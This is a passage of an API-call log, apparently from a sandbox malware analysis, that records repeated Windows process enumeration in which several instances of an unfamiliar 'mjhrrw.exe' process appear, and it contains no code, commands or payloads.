th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.894] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.895] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.898] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.898] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.899] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.900] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.901] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.901] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.902] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0267.902] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0267.903] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.904] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.904] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.905] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.906] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.906] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.907] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.908] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.909] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.909] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.910] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.911] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.911] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.912] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.913] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.913] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.914] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0267.914] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0267.915] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0267.915] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.916] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.916] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.917] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.917] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.918] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.934] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.934] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0267.935] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0267.935] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0267.936] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.937] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0267.938] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.939] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.939] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0267.940] CloseHandle (hObject=0x340) returned 1 [0267.940] Sleep (dwMilliseconds=0x1f4) [0268.741] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a8 [0268.745] Process32FirstW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.746] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.746] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.747] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.747] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.748] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.748] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.748] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.749] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.749] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.750] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.750] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.751] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.751] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.753] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.753] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.754] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.754] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.755] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.755] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.756] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.756] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.756] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.757] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.757] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.758] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.758] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.759] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0268.759] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0268.760] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0268.760] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0268.761] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.761] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0268.761] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.762] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.763] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0268.763] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0268.763] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0268.764] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 